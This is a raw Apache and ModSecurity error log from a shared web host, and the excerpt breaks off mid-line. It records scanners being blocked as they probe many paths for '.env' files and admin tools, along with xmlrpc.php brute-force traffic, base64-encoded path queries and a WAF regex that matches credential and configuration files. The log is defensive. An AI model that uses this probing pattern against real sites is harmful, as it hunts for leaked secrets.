https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:33.200940 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:33.254175 2026] [security2:error] [pid 648189:tid 648433] [client 185.177.72.9:14946] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/acme/.env"] [unique_id "ai3y4VWSojQL4F7upKBdhgAAANQ"] [Sat Jun 13 18:16:33.342933 2026] [access_compat:error] [pid 648189:tid 648341] [remote 57.141.14.34:30082] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:33.343391 2026] [access_compat:error] [pid 648189:tid 648341] [remote 57.141.14.34:30082] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:33.388400 2026] [security2:error] [pid 648189:tid 648392] [client 185.177.72.9:14946] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/acme_challenges/.env"] [unique_id "ai3y4VWSojQL4F7upKBdkAAAAKw"] [Sat Jun 13 18:16:33.524176 2026] [security2:error] [pid 648189:tid 648375] [client 185.177.72.9:14946] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/actions-server/.env"] [unique_id "ai3y4VWSojQL4F7upKBdlwAAAJs"] [Sat Jun 13 18:16:33.562264 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.45:33642] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:33.566207 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.45:33642] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:33.750341 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OnNjcm9sbGxvY2s= [Sat Jun 13 18:16:33.750778 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OnNjcm9sbGxvY2s= [Sat Jun 13 18:16:33.951232 2026] [security2:error] [pid 648189:tid 648373] [client 185.177.72.9:14946] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/admin-app/.env"] [unique_id "ai3y4VWSojQL4F7upKBdpAAAAJk"] [Sat Jun 13 18:16:34.084661 2026] [security2:error] [pid 648189:tid 648422] [client 185.177.72.9:14946] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/admin-panel/.env"] [unique_id "ai3y4lWSojQL4F7upKBdqwAAAMk"] [Sat Jun 13 18:16:34.216253 2026] [security2:error] [pid 648189:tid 648454] [client 185.177.72.9:14946] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/admin.php"] [unique_id "ai3y4lWSojQL4F7upKBdtAAAAOg"] [Sat Jun 13 18:16:34.227776 2026] [access_compat:error] [pid 646876:tid 646926] [remote 57.141.14.3:46778] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:34.228230 2026] [access_compat:error] [pid 646876:tid 646926] [remote 57.141.14.3:46778] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:34.288695 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:34.289105 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:34.320191 2026] [access_compat:error] [pid 648189:tid 648227] [remote 57.141.14.27:51616] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:34.320686 2026] [access_compat:error] [pid 648189:tid 648227] [remote 57.141.14.27:51616] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:34.375710 2026] [security2:error] [pid 648189:tid 648261] [remote 17.22.253.225:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 225.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y4lWSojQL4F7upKBdtwAAqCc"] [Sat Jun 13 18:16:34.512539 2026] [autoindex:error] [pid 646876:tid 647036] [client 165.140.202.17:35880] AH01276: Cannot serve directory /home4/labstech/public_html/website_4b4e771b/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:16:34.637432 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.60:65126] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:34.637907 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.60:65126] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:34.642719 2026] [security2:error] [pid 646876:tid 647081] [client 185.177.72.9:36964] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/admin/info.php"] [unique_id "ai3y4tyTkdrNlD40tSGpgwAAAEk"] [Sat Jun 13 18:16:34.815915 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:16:34.816848 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:16:34.920901 2026] [security2:error] [pid 648189:tid 648407] [client 185.177.72.9:36980] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/adminapp/.env"] [unique_id "ai3y4lWSojQL4F7upKBdyQAAALo"] [Sat Jun 13 18:16:35.018789 2026] [security2:error] [pid 648189:tid 648294] [remote 17.241.75.13:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y41WSojQL4F7upKBdzAAA7Eg"] [Sat Jun 13 18:16:35.059828 2026] [security2:error] [pid 648189:tid 648444] [client 185.177.72.9:36980] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/adminer.php"] [unique_id "ai3y41WSojQL4F7upKBdzgAAAN4"] [Sat Jun 13 18:16:35.077999 2026] [security2:error] [pid 648189:tid 648432] [client 172.56.168.133:31576] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3y41WSojQL4F7upKBdzwAAANM"] [Sat Jun 13 18:16:35.078247 2026] [security2:error] [pid 648189:tid 648432] [client 172.56.168.133:31576] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3y41WSojQL4F7upKBdzwAAANM"] [Sat Jun 13 18:16:35.114400 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.100:55369] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:35.114856 2026] [access_compat:error] [pid 646876:tid 646943] [remote 57.141.14.100:55369] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:35.294289 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:35.294748 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:35.294898 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.77:25125] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:35.295344 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.77:25125] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:35.328820 2026] [security2:error] [pid 648189:tid 648373] [client 185.177.72.9:36990] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/adminer/.env"] [unique_id "ai3y41WSojQL4F7upKBd1gAAAJk"] [Sat Jun 13 18:16:35.433703 2026] [security2:error] [pid 648189:tid 648255] [remote 17.246.15.200:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 200.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y41WSojQL4F7upKBd2AAAvyE"] [Sat Jun 13 18:16:35.612037 2026] [security2:error] [pid 648189:tid 648464] [client 185.177.72.9:36990] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/adminphp.php'"] [unique_id "ai3y41WSojQL4F7upKBd3AAAAO4"] [Sat Jun 13 18:16:35.737075 2026] [security2:error] [pid 646876:tid 646917] [remote 17.246.19.147:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y49yTkdrNlD40tSGppgAABCY"] [Sat Jun 13 18:16:35.854050 2026] [access_compat:error] [pid 646876:tid 646891] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:16:35.854523 2026] [access_compat:error] [pid 646876:tid 646891] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:16:35.884310 2026] [security2:error] [pid 646876:tid 647107] [client 185.177.72.9:36996] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( 